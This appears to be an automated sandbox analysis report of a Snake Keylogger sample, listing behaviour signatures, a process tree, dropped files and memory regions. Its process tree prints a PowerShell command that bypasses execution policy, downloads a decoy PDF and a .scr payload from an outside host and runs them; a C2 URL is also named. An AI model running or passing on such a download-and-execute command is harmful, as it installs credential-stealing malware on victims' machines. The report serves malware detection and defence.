Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/05/2024, 14:06

General

  • Target
    45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
  • Size 1024KB
  • Sample240521-rertkage83
  • SHA256 45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • snakekeylogger

Credentials
C2
  • https://scratchdreams.tk

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
    "C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
      "C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3260
      • C:\Windows\system32\wscript.exe
        "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\2933.tmp\2934.tmp\2935.vbs //Nologo
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:800
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/Advice.pdf' -OutFile 'C:\Users\Public\Advice.pdf'; Start-Process 'C:\Users\Public\Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/utradvices.scr' -OutFile 'C:\Windows\Temp\utradvices.scr'; Start-Process 'C:\Windows\Temp\utradvices.scr'"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2804
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Public\Advice.pdf"
            5⤵
            • Checks processor information in registry
            • Modifies Internet Explorer settings
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4776
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4984
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=163F218CF0EAC45E8758AC00036DDA2C --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                7⤵
                  PID:4872
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BF918E37D31BFE5774D60FD8CDCE5D40 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BF918E37D31BFE5774D60FD8CDCE5D40 --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
                  7⤵
                    PID:5084
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6BBA5CC0EA689D1E628C09D07A575F21 --mojo-platform-channel-handle=2264 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    7⤵
                      PID:2768
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E6045C1C10A7C18969F59E5A95B9F6AE --mojo-platform-channel-handle=2412 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      7⤵
                        PID:772
                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=21BDA6BE48FDA53E4D0C858707B15A38 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=21BDA6BE48FDA53E4D0C858707B15A38 --renderer-client-id=6 --mojo-platform-channel-handle=2284 --allow-no-sandbox-job /prefetch:1
                        7⤵
                          PID:3968
                        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=01E381BEB99F9095482573C01FF27F93 --mojo-platform-channel-handle=2416 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                          7⤵
                            PID:532
                      • C:\Windows\Temp\utradvices.scr
                        "C:\Windows\Temp\utradvices.scr" /S
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:4964
                        • C:\Windows\Temp\utradvices.scr
                          "C:\Windows\Temp\utradvices.scr"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2052
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1496
                            7⤵
                            • Program crash
                            PID:1164
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2052 -ip 2052
                1⤵
                  PID:4404

                Network

                      MITRE ATT&CK Enterprise v15

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                      Downloads

                      ReaderMessages

                      • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                      • Size 64KB
                      • SHA256 0dbba0c762bad6eef8da50209a2fbbcd7176e51a99080c5325f939c4b45210df
                      • MD5 SHA1 SHA512 SSDEEP

                      ReaderMessages

                      • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                      • Size 36KB
                      • SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
                      • MD5 SHA1 SHA512 SSDEEP

                      ReaderMessages

                      • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                      • Size 56KB
                      • SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
                      • MD5 SHA1 SHA512 SSDEEP

                      2935.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\2933.tmp\2934.tmp\2935.vbs
                      • Size 1KB
                      • SHA256 fa018f8c1f7fd4866228586928843a5f44bc0145b35ea5fd6cf8386414761002
                      • MD5 SHA1 SHA512

                      __PSScriptPolicyTest_trdbtikz.rch.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_trdbtikz.rch.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      Advice.pdf

                      • Path C:\Users\Public\Advice.pdf
                      • Size 132KB
                      • SHA256 aeac8cb84f8c483364e8447b828f291148e33ea8cc9d49c2dd24c2bb21d14645
                      • MD5 SHA1 SHA512 SSDEEP

                      utradvices.scr

                      • Path C:\Windows\Temp\utradvices.scr
                      • Size 1.1MB
                      • SHA256 d04c3e48cef9f341aeb06fd70f68e27d57d7fb9a63b575033dbb7cf3c6455ca5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/536-5-0x0000000074A10000-0x00000000751C0000-memory.dmp

                      memory/536-1-0x0000000000ED0000-0x0000000000FD6000-memory.dmp

                      memory/536-2-0x0000000005F10000-0x00000000064B4000-memory.dmp

                      memory/536-3-0x0000000005A00000-0x0000000005A92000-memory.dmp

                      memory/536-8-0x0000000005C80000-0x0000000005C88000-memory.dmp

                      memory/536-7-0x0000000005D30000-0x0000000005DCC000-memory.dmp

                      memory/536-17-0x0000000074A10000-0x00000000751C0000-memory.dmp

                      memory/536-0-0x0000000074A1E000-0x0000000074A1F000-memory.dmp

                      memory/536-6-0x0000000005B90000-0x0000000005BD0000-memory.dmp

                      memory/536-4-0x00000000059E0000-0x00000000059EA000-memory.dmp

                      memory/2052-43-0x0000000000570000-0x0000000000596000-memory.dmp

                      memory/2804-20-0x000001D030250000-0x000001D030272000-memory.dmp

                      memory/3260-13-0x0000000000400000-0x000000000041D000-memory.dmp

                      memory/3260-38-0x0000000000400000-0x000000000041D000-memory.dmp

                      memory/3260-12-0x0000000000400000-0x000000000041D000-memory.dmp

                      memory/3260-11-0x0000000000400000-0x000000000041D000-memory.dmp

                      memory/3260-9-0x0000000000400000-0x000000000041D000-memory.dmp

                      memory/4964-39-0x0000000000710000-0x000000000082A000-memory.dmp

                      memory/4964-40-0x0000000005290000-0x00000000052E4000-memory.dmp